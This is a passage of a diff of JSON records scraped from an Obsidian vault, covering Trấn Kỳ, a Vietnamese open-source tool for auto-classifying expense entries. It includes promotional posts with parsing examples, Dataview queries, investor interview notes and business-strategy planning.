"Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Phân loại câu nhập bằng tiếng Việt tự nhiên\r\nBạn có cảm thấy chán nản, mất năng lượng vì phải tốn quá nhiều thời gian để phân loại chi tiêu cũng như các loại dữ liệu khác không? Nếu bạn là người cần phân loại tất cả các chi tiêu của mình một cách rõ ràng (việc nhắm hờ mỗi tháng chi chừng bao nhiêu tiền là không đủ với bạn), và bạn cần một chương trình:\r\n\r\n* Là phần mềm tự do và mã nguồn mở\r\n* Tích hợp được vào hệ thống vận hành hiện tại của bạn: báo cáo ngân hàng, Google Keep, Google Sheet, Notion, Obsidian, Fibery, Odoo, v.v.\r\n* Cho phép bạn khai báo dữ liệu theo thói quen và cách phân loại của chính mình\r\n* Tự động phân loại, gắn nhãn thông tin chứ không bắt bạn phải tự xử lý\r\n* Không giam dữ liệu của bạn tại chương trình\r\n* Không có bất cứ quảng cáo mời mọc hoặc theo dõi dữ liệu nào\r\n* Dùng được trên điện thoại khi không có mạng\r\n\r\nThì Trấn Kỳ là chương trình dành cho bạn.\r\n\r\n# Tính năng\r\n## Phân loại thông tin\r\nVí dụ, với câu nhập đầu vào là:\r\n\r\n```\r\nthăn bò 30k lườn gà 20k (giảm giá) cho Parid ở coopmart vợ trả \r\n```\r\n\r\nKết quả đầu ra sẽ là:\r\n```\r\n| Tên | Giá trị |\r\n| --------------------------- | ---------------- |\r\n| Món đồ | thăn bò, lườn gà |\r\n| Loại món đồ | Lương thực |\r\n| Phương thức thanh toán | vợ trả |\r\n| Loại phương thức thanh toán | Tiền mặt |\r\n| Nơi mua | CoopMart |\r\n| Loại nơi mua | Siêu thị |\r\n| Người thụ hưởng | Parid |\r\n| Loại người thụ hưởng | Gia đình |\r\n| Số tiền | 50000 |\r\n| Ghi chú | giảm giá |\r\n```\r\nChương trình có thể tự động bắt được các giá trị trên nhờ vào cấu hình bạn đã thiết lập từ trước. Ở ví dụ này, bạn đã thiết lập như sau:\r\n```\r\n|Từ khoá từ câu nhập...|...thuộc nhãn phân loại...|...thuộc chiều dữ liệu|\r\n| --- | --- | --- |\r\n|thăn bò, lườn gà|Lương thực|Món đồ|\r\n|vợ trả|Tiền mặt|Phương thức thanh toán|\r\n|coopmart|Siêu thị|Nơi mua|\r\n|Parid|Gia đình|Người thụ hưởng|\r\n|20k, 30k|Không thiết lập|Số tiền|\r\n|giảm giá|Không thiết lập|Ghi chú|\r\n```\r\n## Giá trị mặc định\r\nVí dụ, bạn có thể thiết lập để chương trình tự hiểu là nếu bạn không điền từ khoá gì trong chiều `Phương thức thanh toán` thì mặc định đó là `tiền mặt`.\r\n\r\n## Tiếp nhận từ khoá chưa được khai báo một cách trực tiếp\r\nSẽ có những lúc bạn muốn một từ khoá nào đó chưa kịp khai báo trong cấu hình xuất ra ở kết quả. Bạn có thể thiết lập các ký tự để chương trình hiểu là dữ liệu đó nên được cho vào mục nào.\r\n\r\nVí dụ, bạn mới gặp `Iris` và muốn tặng `dưa hấu` cho bạn ấy. Bạn chưa kịp khai báo tên của `Iris` vào cấu hình. Bạn có thể thiết lập ký tự `@` dành cho chiều `Người thụ hưởng`. Khi đó, bạn có thể dùng câu nhập:\r\n\r\n```\r\ntặng dưa hấu cho @Iris 50k\r\n```\r\n\r\nLúc này chương trình sẽ tự hiểu `Iris` là `Người thụ hưởng`.\r\n\r\nNếu sau đó không xuất hiện dấu `@` lần nữa thì từ khoá sẽ dừng khi gặp dấu cách đầu tiên. Nếu từ khoá chứa nhiều dấu cách thì bạn thêm một dấu `@` nữa ở ngay cuối. Ví dụ:\r\n\r\n```\r\ntặng dưa hấu cho @chị Iris@ 50k\r\n```\r\n\r\nBạn có thể khai báo ký tự đứng trước khác với ký tự đứng sau. Thường gặp nhất là khi bạn cần có một ghi chú nào đó. Ví dụ:\r\n\r\n```\r\ntặng dưa hấu cho @chị Iris@ 50k (sau đó mới biết chị Iris dị ứng dưa hấu)\r\n```\r\n\r\n## Viết tắt\r\nVí dụ, bạn muốn viết tắt `as`, `st` cho nhanh, nhưng vẫn muốn kết quả hiện ra đầy đủ là `ăn sáng`, `siêu thị`. Bạn còn có thể dùng viết tắt cho những câu nhập phức tạp.\r\n\r\nVí dụ:\r\n\r\n* `as` → `ăn sáng`\r\n* `st` → `siêu thị`\r\n* `xăng` → `xăng 50k`\r\n* `trọ` → `tiền trọ 3tr chuyển khoản (vay qua nhóm Tình Thân)`\r\n\r\n## Hiểu từ ghép\r\nVí dụ, nếu lúc thiết lập cấu hình bạn có khai báo ba từ khoá `bún`, `bò`, và `bún bò`, và trong câu nhập có chữ `bún bò` thì chương trình sẽ hiểu đây là một từ chứ không nhận diện nhầm là có hai từ `bún` và `bò`.\r\n\r\n## Một từ khoá có thể thuộc về nhiều nhãn phân loại\r\nVí dụ, từ khoá `ăn trưa với` vừa có thể thuộc nhãn `Mối quan hệ`, vừa có thể thuộc nhãn `Thực phẩm`\r\n\r\n## Một số ví dụ về việc tích hợp Trấn Kỳ vào hệ thống\r\n### Nhập liệu từ Google Keep\r\nGoogle Keep là một phần mềm ghi chú rất phổ biến với mọi người. Nó:\r\n- Có trên iOS, Android và web\r\n- Mở rất nhanh và có thể mở trong tình trạng không có mạng\r\n- Đồng bộ nhanh chóng trên tất cả các thiết bị\r\n- Hoàn toàn miễn phí\r\n- Cho phép nhiều người cùng chỉnh sửa một ghi chú\r\n- Sử dụng giọng nói\r\n- Nhập số lượng lớn\r\n\r\nViệc có thể nhập liệu từ Google Keep sẽ giúp cho bạn có thể nhập nhanh những khoảng chi tiêu chung với khối lượng lớn vào lúc bạn không có đầu óc để phân loại, phù hợp cho gia đình, nhóm bạn, công ty những lúc chợ búa, du lịch, tổ chức sự kiện, v.v.\r\n\r\nHiện tại đã có sẵn plugin nhập dữ liệu từ Google Keep và tạo bảng phân loại trên Fibery. \r\n\r\n### Nhập liệu từ Discord, Slack\r\nDiscord và Slack là những phần mềm nhắn tin phổ biến cho cộng đồng hoặc tổ chức. Một server sẽ có nhiều kênh (channel) để việc thảo luận được tập trung, không bị lạc chủ đề quá nhiều. Thông thường, các bộ phận trong tổ chức sẽ có một kênh riêng.\r\n\r\nTrong quá trình thảo luận, thỉnh thoảng sẽ có những thông tin cần được phân loại và lưu vào hệ thống quản lý riêng, như quỹ hoặc công việc. Bạn có thể tạo bot để tự động gom các thông tin này ngay tại nơi thảo luận. Ví dụ:\r\n- `$ họp 70k` → Ghi vào trong sổ quỹ rằng 70000 VND đã được chi cho việc họp\r\n- `! sửa bug` → Ghi vào trong bảng tổng hợp công việc rằng cần sửa bug\r\n\r\nNhững thông tin như người nhập, kênh nhập cũng sẽ được ghi lại. Ví dụ, ghi `$ họp 70k` trong kênh Trấn Kỳ thì sẽ hiểu là lý do chi là để họp về Trấn Kỳ. Nhưng cũng với câu nhập đó trong kênh Cảo Thần thì sẽ hiểu là lý do chi là để họp về Cảo Thần.\r\n\r\n# Không chỉ mỗi phân loại thu chi\r\nThật ra, chương trình này không hẳn nên được đặt tên là \"Phân loại thu chi\", vì bạn còn có thể dùng nó để phân loại nhiều thứ khác. Ví dụ:\r\n\r\n* **Ý tưởng** : `Kĩ thuật viết văn %topic_Writing @tác_giả_a`\r\n* **Mối quan hệ** : `Gặp @ông_A bàn về việc X, có đi ăn ở !nhà_hàng_Y 200k ck vcb`\r\n* **Công việc** : `Công việc A cần giao cho @bạn_B liên hệ với @@đối_tác_C tại !quán_D với chi phí dự kiến 300k ck vcb và nhận output &&item_X`\r\n* **Cảm xúc** : `xem phim:Inception thấy chấn động`\r\n* **Sức khoẻ:** `chạy bộ 100m, hít đất 30 cái`\r\n\r\n# 👉 Link: tranky.deno.dev/cdddss\r\n\r\nhttps://www.facebook.com/quacau.sphere/posts/pfbid072iAT8Y3zdAP5L7VGiHkmxjxQfPapaozK8fpr64nQ4uVyaKerhv2j4uqd8KMWipvl\r\n\r\n![Máy phân loại tiền](https://daynhauhoc.s3.dualstack.ap-southeast-1.amazonaws.com/optimized/3X/3/0/3051a1b98cab382e9bcd3e5bccf81d2e973f3f17_2_1035x690.jpeg) \r\n![Google Keep to Fibery](https://daynhauhoc.s3.dualstack.ap-southeast-1.amazonaws.com/optimized/3X/9/9/99e14fce9d0bcda573db5aae334ad4e71bd2035f_2_1035x514.jpeg) \r\n![Giao diện khởi động](https://i.imgur.com/rBe2iQ9.png)\r\n\r\n---\r\n[[10-11]] Đăng trên [[Dạy Nhau Học]] \r\n[[10-11]] Đăng trên [[Tự học Data]] \r\n[[13-11]] chờ duyệt [Cộng đồng FOSS Việt Nam](https://www.facebook.com/groups/fossvietnam)\r\n[[03-02]] chờ duyệt [[J2TEAM]] \r\n[[04-02]] [[📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Dữ liệu/Khoa học dữ liệu]] \r\n", + "Toàn bộ nội dung": "%%\r\n#file/thành-quả\r\n%%\r\nTrạng thái:: #tt-⚪/chưabắtđầubàn\r\nĐộ cấp thiết:: #đct-🔥🔥Phảilàmngay\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\n\r\nLà giải pháp cho vấn đề:\r\n```dataview\r\nList \r\nwhere contains(giải-pháp-gợi-ý,[[]]) \r\n```\r\n\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "4j" }, { - "Tiêu đề": "Truyền thông", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Truyền thông/Truyền thông", + "Tiêu đề": "Mỗi tuần có 20 người nhắn tin trên thread Trấn Kỳ trên Discord Quả Cầu", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/3 Thành quả mong muốn/Mỗi tuần có 20 người nhắn tin trên thread Trấn Kỳ trên Discord Quả Cầu", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[SME, startup, khởi nghiệp]]\r\n[[ERP, no code, ]] \r\n[[Lập trình ]] \r\n\r\n----\r\n\r\n| Thành quả mong muốn | Giả thiết | Công việc |\r\n| ------------------------------------------------------ | ------------------------------------------------- | --------------------------------------- |\r\n| [[Mỗi tuần có 300 người vào trang giới thiệu Trấn Kỳ]] | [[Cứ 13 reach thì có 1 link click]] | [[Truyền thông\\|Đăng bài truyền thông]] |\r\n| [[Mỗi tuần tiếp cận được 4000 người]] | Cứ 1 người chia sẻ TK thì tiếp cận được 100 người | [[Truyền thông\\|Đăng bài truyền thông]] |\r\n\r\n\r\nĐối tượng: người cần tự do dữ liệu\r\n\r\n```dataview\r\nLIST \r\nFROM \"📐 Dự án/Trấn Kỳ/4 Thành phẩm/Truyền thông\" \r\nWHERE file.name!=this.file.name\r\n```\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-31T09:59:00.000Z", + "Ngày tạo": "2023-11-15T15:38:00.000Z", "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "4k" }, { - "Tiêu đề": "Tạo tệp Excel tự động để nhập khẩu vào các phần mềm kế toán", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Truyền thông/Tạo tệp Excel tự động để nhập khẩu vào các phần mềm kế toán", + "Tiêu đề": "Mỗi tuần có 300 người vào trang giới thiệu Trấn Kỳ", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/3 Thành quả mong muốn/Mỗi tuần có 300 người vào trang giới thiệu Trấn Kỳ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Tạo tệp Excel tự động để nhập khẩu vào các phần mềm kế toán \r\nChia sẻ với mọi người một chương trình phân loại câu nhập mình mới viết. Ví dụ, với câu nhập đầu vào là:\r\n```\r\nthăn bò 30k lườn gà 20k (giảm giá) cho Parid ở coopmart vợ trả \r\n```\r\n\r\nChương trình sẽ **tự động** phân loại kết quả vào các cột cho bạn:\r\n\r\n```\r\n| Cột | Giá trị |\r\n| --------------------------- | ---------------- |\r\n| Món đồ | thăn bò, lườn gà |\r\n| Loại món đồ | Lương thực |\r\n| Phương thức thanh toán | vợ trả |\r\n| Loại phương thức thanh toán | Tiền mặt |\r\n| Nơi mua | CoopMart |\r\n| Loại nơi mua | Siêu thị |\r\n| Người thụ hưởng | Parid |\r\n| Loại người thụ hưởng | Gia đình |\r\n| Số tiền | 50000 |\r\n| Ghi chú | giảm giá |\r\n```\r\n\r\nTrên đây là một mẫu cho chi tiêu cá nhân. Với doanh nghiệp bạn có thể thay món đồ bằng hàng hoá, nguyên vật liệu, người thụ hưởng bằng khách hàng, v.v. Việc thêm, bớt các trường hoặc dùng cấu trúc phân loại riêng của doanh nghiệp bạn là hoàn toàn khả thi.\r\n\r\nVới việc này, bạn có thể nhanh chóng tạo các tệp Excel để nhập khẩu vào các chương trình kế toán mà không phải tạo thủ công từng cái một. **Người dùng không cần lo lắng về cấu trúc câu lệnh, chỉ cần khai báo từ khoá là được.**\r\n\r\nTìm **`Trấn Kỳ`** trên Google để xem demo của chương trình.\r\n\r\n[[Excel, AppScript]]\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2023-11-15T15:09:00.000Z", "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "4l" }, { - "Tiêu đề": "Kiếm người kiếm tiền", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Đội ngũ/Kiếm người kiếm tiền", + "Tiêu đề": "Mỗi tuần tiếp cận được 4000 người", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/3 Thành quả mong muốn/Mỗi tuần tiếp cận được 4000 người", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| Công việc | Thành quả mong muốn | Giả thiết |\r\n| ----------------------------------- | ------------------------------------------- | --------- |\r\n| [[PiPu]] | | |\r\n| Đăng bài tuyển người kiếm tiền | 1 người nhắn sau một tuần | |\r\n| Hỏi anh Quang | | |\r\n| Nghiên cứu hệ sinh thái khởi nghiệp | Biết được những người có hứng thú kiếm tiền | |\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2023-11-15T15:10:00.000Z", "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "4m" }, { - "Tiêu đề": "Kế hoạch xây dựng đội ngũ", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Đội ngũ/Kế hoạch xây dựng đội ngũ", + "Tiêu đề": "Một khoản đầu tư 120tr cho 3 tháng", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/3 Thành quả mong muốn/Một khoản đầu tư 120tr cho 3 tháng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Kế hoạch tập huấn cho người mới]] \r\nNhững người tham gia cùng nhìn vào kế hoạch để thảo luận chứ không phải là thấy nó phức tạp, nhức đầu, phí thời gian hoặc chỉ là ảo giác của một mình Nhật. Họ cũng chỉ đang sống trong ảo giác của họ thôi.\r\n\r\n[[Không cần kiếm thêm nhân sự khi không thấy quá nhiều việc]]\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-01T13:31:00.000Z", + "Ngày tạo": "2023-11-23T13:05:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "4n" }, { - "Tiêu đề": "Mai Quang", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Đội ngũ/Mai Quang", + "Tiêu đề": "4 Thành phẩm", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Vì sao anh muốn phát triển nó? Tại sao thấy nó tiềm năng?\r\nNhu cầu tiềm năng là rất lớn. Viết trong giấy … thôi khỏi làm\r\ntest từng quán. khi nhập hàng, phát sinh chi phí. Note trong tin nhắn . Chi phí ko ghi nhận lại luôn. Canh vào số tiền họ thu được. Nhìn lướt khoảng khoảng 5tr. Đối với họ ko còn phải là painpoint nữa. Nhưng sau mọt thời gian nhìn lại thì ko có lời\r\n\r\nnhóm người dùng thứ 1: các vendor bán lẻ (không dùng pos, tính tay, nháp) \r\nnhóm 2: sinh viên, học sinh xa nhà. Kêu sử dụng thì chịu dùng. Nhu cầu cá nhân của anh khi du học ở Sing. Mỗi lần chi tiêu là xót\r\n\r\nCó dữ liệu thì có thể đưa ra những lời mời đầu tư, gửi tiết kiệm. Khi build trust từ họ thì dễ dàng hơn.\r\n\r\nmạnh hơn nữa thì có thể credit score\r\n# MoneyLover\r\ntrên 70% thì chưa dominate thì ko nên thm gia. \r\n\r\nsau 5 năm vẫn có 50k download → quá bé. Cạnh tranh ở đây là chiến lược, chọn ngách để đánh\r\ncạnh tranh trong việc chấp nhận rủi ro\r\n# Anh muốn nó được phát triển thế nào?\r\ncái này phải là build team, ko phải build product\r\nQuang: thấy phù hợp nhất là coreteam, pitching cho angel investor. tận dụng các mqh đầu tư trước cho anh\r\n5-15% coreteam member\r\n5 năm \r\nfounder: đánh giá, đưa ra quyết định tốt được >< emotional (anh Quang) \r\n\r\n\r\n- [ ] Anh thấy mình cần những gì để đạt hiệu quả?\r\n\t- [ ] Ngoài dưới 5% ra còn gì để anh ko muốn tham gia ko? \r\n\t- [ ] Anh thấy mình xứng đáng nhận được bao nhiêu %? \r\n- [ ] anh có thể tham gia họp bao lâu? \r\n- [ ] vì sao lúc đầu anh nói là muốn làm Sharktank\r\n- [ ] điều gì khiến anh muốn đáp ứng nhu cầu của họ\r\n- [ ] Nếu anh thấy nó tiềm năng, tại sao chưa có ai đầu tư vào như mình?\r\n- [ ] 1% anh nói là gì\r\n- [ ] Các nhà đầu tư đảm bảo mình không xù kèo thế nào?\r\n\r\n\r\n- Vì sao những cách phát triển khác anh không hứng thú?\r\n- Để nó đạt được điều anh muốn anh nghĩ nó cần những điều gì?\r\n- Đâu là mức anh nghĩ là không còn đáng để anh đầu tư?\r\n- Mức độ đầu tư vào các dự án phát triển bền vững không?\r\n- Anh có suy nghĩ gì về ý tưởng startup cộng đồng chưa?\r\n- Anh đã đầu tư bao nhiêu dự án rồi?\r\n- Có những dự án nào anh quyết định không đầu tư? Tại sao?\r\n- Có muốn nhận nhiều % hơn để đổi lấy một hợp đồng cho vay tốt\r\n\r\n\r\n- Muốn biết thêm về kế hoạch thì cứ ở trong nhóm\r\n- Muốn hỗ trợ đóng góp thì khi nào rảnh thì tham gia\r\n", + "Toàn bộ nội dung": "```dataview\r\nLIST rows.file.link\r\nFROM \"📐 Dự án/Trấn Kỳ/4 Thành phẩm\" \r\nWHERE file.name!=this.file.name\r\nGROUP BY split(file.folder, \"/\")[3]\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2023-11-08T07:54:00.000Z", "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "4o" }, { - "Tiêu đề": "Nhật", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Đội ngũ/Nhật", + "Tiêu đề": "Kế hoạch phát triển Trấn Kỳ", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Chiến lược/Kế hoạch phát triển Trấn Kỳ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Điều nhà đầu tư quan tâm và điều muốn nhà đầu tư quan tâm]]\r\n\r\n| Tiêu chí | Trọng số |\r\n| --------------------------------------------- | -------- |\r\n| [[Kendy cần gì\\|Giúp Trí hết căng thẳng]] | 70% |\r\n| Có thể linh hoạt hạn chót | 15% |\r\n| Thấy công việc giúp mở rộng thêm nhiều cơ hội | 15% |\r\n\r\n[[Chương trình quản lý chi tiêu cá nhân từ Trấn Kỳ]] \r\n[[Thịnh]]", + "Toàn bộ nội dung": "Thành quả cần có:: [[Lợi nhuận mỗi tuần 2tr5]]\r\n- Mỗi tháng làm việc hiệu quả cho một bên [[Tiêu chí làm việc và ra quyết định]]\r\n\r\n# [[27-07]]\r\n\r\n# [[09-03]]\r\n| Giải pháp gợi ý | Điểm mạnh | Điểm yếu | Effort |\r\n| ----------------------- | ---------------------------------------------------------------------- | -------------------------------------------------------------------------- | ------ |\r\n| UTM startup | • Đã có sẵn tập khách hàng, không cần đi bán
    • Khả năng tiền đủ lớn | • Chưa chắc chắn về tiềm năng của nó
    • Chưa có tiền ngay | |\r\n| UTM freelance | • có tiền ngay
    • họ muốn làm với mình vì mình có kinh nghiệm | • Giả sử có tiềm năng thật thì bỏ lỡ
    | |\r\n| Thu chi người dùng cuối | • Có research về user cụ thể
    • Giúp Trí tạo thêm nguồn thu nhập | • Đối thủ cạnh tranh
    • Phải bỏ công và tiền ngay
    • Chưa có tiền ngay | |\r\n| Thu chi SME | | | |\r\n\r\nA. Startup UTM \r\nB. Freelance UTM \r\nC. Thu chi người dùng cuối\r\nD. Thu chi SME\r\n\r\nThì mong muốn của em là A > B > C > D. Còn đánh giá về độ khả thi thì là B > A > C > D\r\nCái doanh nghiệp kia nếu có e vs a rất khó để làm\r\nCái C có người làm độ khả thi cao hơn vì e có kinh nghiệm\r\nD gần như là mù và k đánh giá đx thị trường\r\n# [[16-02]]\r\nEm cũng nghĩ là mình nên tập trung vào tìm khách hàng thực sự trả tiền hơn là code thêm. Hiện tại em thấy mình có 2 tập đối tượng mà mình có thể đáp ứng nhu cầu của họ:\r\n# Người cần quản lý chi tiêu cá nhân hoặc bán nhỏ lẻ\r\nEm có phỏng vấn một anh cũng từng bán cà phê, thì ảnh nói cũng không thấy cần ghi chú gì, miễn là thấy ko lỗ là đc. Một bạn khác mới phỏng vấn sáng nay thì bạn này lưu dữ liệu trên Notion, và:\r\n1. Không thấy nhức đầu khi phải click chuột thủ công vào các trường riêng biệt khi phân loại, \r\n2. Không cần nhiều trường phức tạp, \r\n3. Muốn có biểu đồ thống kê\r\n\r\nViệc giải quyết cho (1) với (2) là thế mạnh của TK mà bạn này lại không cần, còn (3) là điểm mấu chốt để sử dụng hệ thống khác thì mình lại phải code thêm. Nếu đa số những người có nhu cầu ghi chú chi tiêu giống bạn này thì em nghĩ họ chỉ cần dùng mấy cái template excel thu chi là đủ.\r\n[[Mục tiêu và câu hỏi nghiên cứu người dùng cá nhân cần phân loại tự động]]\r\n# Người cần trích xuất dữ liệu có cấu trúc từ dữ liệu phi cấu trúc\r\nCái này thường là họ có một dự án rõ ràng nào đó rồi, và thường là ở cấp độ tổ chức. Về bản chất là họ đang cần một hệ thống thông tin và xử lý dữ liệu, dù có thể dữ liệu của họ vẫn là về giao dịch. Trí là một ví dụ cho chuyện này. Em nghĩ đây mới là nhóm có nhu cầu mạnh về (1), (2). Em nghĩ (3) với họ cũng không quá quan trọng, quan trọng là có khả năng truy vấn tốt. Nên mình cũng chẳng phải code thêm nhiều. Nên hiện tại em đang nhắm vào họ.\r\n\r\nKhi họ trích xuất dữ liệu có cấu trúc thì họ sẽ cần thuê ngoài. Nên em đang có ý định làm freelance cho họ để thử nghiệm thị trường này. Nếu bắt đầu kiếm được mối thì sẽ rủ thêm mấy bạn khác cùng làm rồi chia lợi nhuận. Khi nào có tiền để trả lương cho người khác thì quay lại vào cái đối tượng cá nhân.\r\n[[Mục tiêu và câu hỏi nghiên cứu tổ chức nhỏ cần trích xuất dữ liệu có cấu trúc từ dữ liệu phi cấu trúc]]\r\n\r\n---\r\n# Kế hoạch cũ\r\n## A. Chiến lược cho Trấn Kỳ cạnh tranh trên thị trường\r\n1. Quan điểm: Dùng Trấn Kỳ như một con tốt để đem lại cơ hội hợp tác với anh Quang, có thêm nguồn lực đội ngũ và tài chính\r\n3. Sản phẩm hữu hình đầu tiên:\r\n - Con bot trong các nền tảng nhập liệu với tính năng chỉn chu hơn PiPu (về tính đa dạng trong các nền tảng sử dụng: discord, messenger, telegram, keep,…)\r\n - App trên máy tính (dành riêng cho những khách hàng lấy dữ liệu từ momo, ngân hàng)\r\n4. Phương thức cho khách hàng tiếp cận và thu phí: tạo server để khách hàng nhập liệu cấu hình và thu phí\r\n5. Đội ngũ team Trấn Kỳ:\r\n - Theo đội hình bộ 3 Tech - Des - Business: mỗi vai trò cần 1 người bên team mình đảm nhận quản lý, có thể mảng Business anh Quang sẽ có khả năng lead hiệu quả nhưng cần một chân từ team mình để hỗ trợ\r\n - Làm việc trên quan điểm tạo ra cơ hội lấy nguồn lực từ việc hợp tác + tạo thời gian cho Nhật phân tích và phát triển xa hơn\r\n6. Thời gian:\r\n - 11/11 - 17/11: Trao đổi kế hoạch với team mình để mng góp ý và hoàn thiện, cần anh @kendy4448 và anh Lộc tham gia\r\n - 18/11 - 22/11: Họp với team anh Quang\r\n## B. Chiến lược cho anh Nhật phát triển tầm nhìn về mảng công nghệ\r\n1. Giai đoạn đầu hợp tác với team anh Quang: Quản lý dự án Trấn Kỳ như cách để có thêm nguồn lực về đội ngũ và tài chính, tạo ra MVP\r\n2. Giai đoạn pre scale up: Dành nhiều thời gian để bàn kế hoạch phát triển ver2 từ những feedback ban đầu, suy nghĩ về các bước tiếp theo cho Trấn Kỳ như một cơ hội để phát triển ngành công nghệ\r\n3. Giai đoạn post scale up: Có thể mở lớp dạy về Trấn Kỳ ver 1 cho những người muốn \"thí nghiệm\"\r\n\r\n# Nhu cầu của người dùng và sản phẩm dành cho họ\r\n| Nhu cầu | Sản phẩm |\r\n| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\r\n| Phân loại các câu tiếng Việt một cách tự động mà không mất đi [[Việc trung tâm hoá việc lưu trữ dữ liệu trên máy chủ sẽ lấy đi autonomy và agency của người dùng cuối\\|sự tự trị dữ liệu (data autonomy)]] | [Trấn Kỳ](https://lậptrình.quảcầu.cc/%F0%9F%91%8Ftr%E1%BA%A5n%20k%E1%BB%B3/?utm_source=CW+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9+%C2%BB+L%E1%BB%9Di+m%E1%BB%9Di+tham+gia+startup+c%E1%BB%A7a+c%E1%BB%99ng+%C4%91%E1%BB%93ng&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=ph%E1%BA%A7n+%C4%91%E1%BB%91i+t%C6%B0%E1%BB%A3ng+th%E1%BB%A5+h%C6%B0%E1%BB%9Fng){ .md-button .md-button--primary } (Sản phẩm chính) |\r\n| Cách tổ chức dữ liệu cho việc quản lý dự án, phát triển sản phẩm | [[📐 Dự án/Trấn Kỳ/4 Thành phẩm/Kế hoạch/Kế hoạch\\|Kế hoạch]], [[Tổ chức nhỏ hoặc người cần kỷ luật tài chính]], [[Truyền thông]] |\r\n| Học cách sử dụng công cụ và tư duy lập trình cho nhu cầu cá nhân hoặc nghiên cứu | [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]] |\r\n| Xây dựng PKM, ERP, giàn giáo nhận thức cho mình | [[🌟 Mở đầu\\|C Obsidian, quản lý dự án và công cụ nghĩ]] |\r\n| Tìm người giúp mình xây dựng hệ thống quản lý (VD: cài đặt Trấn Kỳ) | Mạng kết nối nhu cầu |\r\n| Thử nghiệm các mô h", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-01T13:33:00.000Z", + "Ngày cập nhật": "2024-08-01T13:43:00.000Z", "id": "4p" }, { - "Tiêu đề": "Thịnh", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành 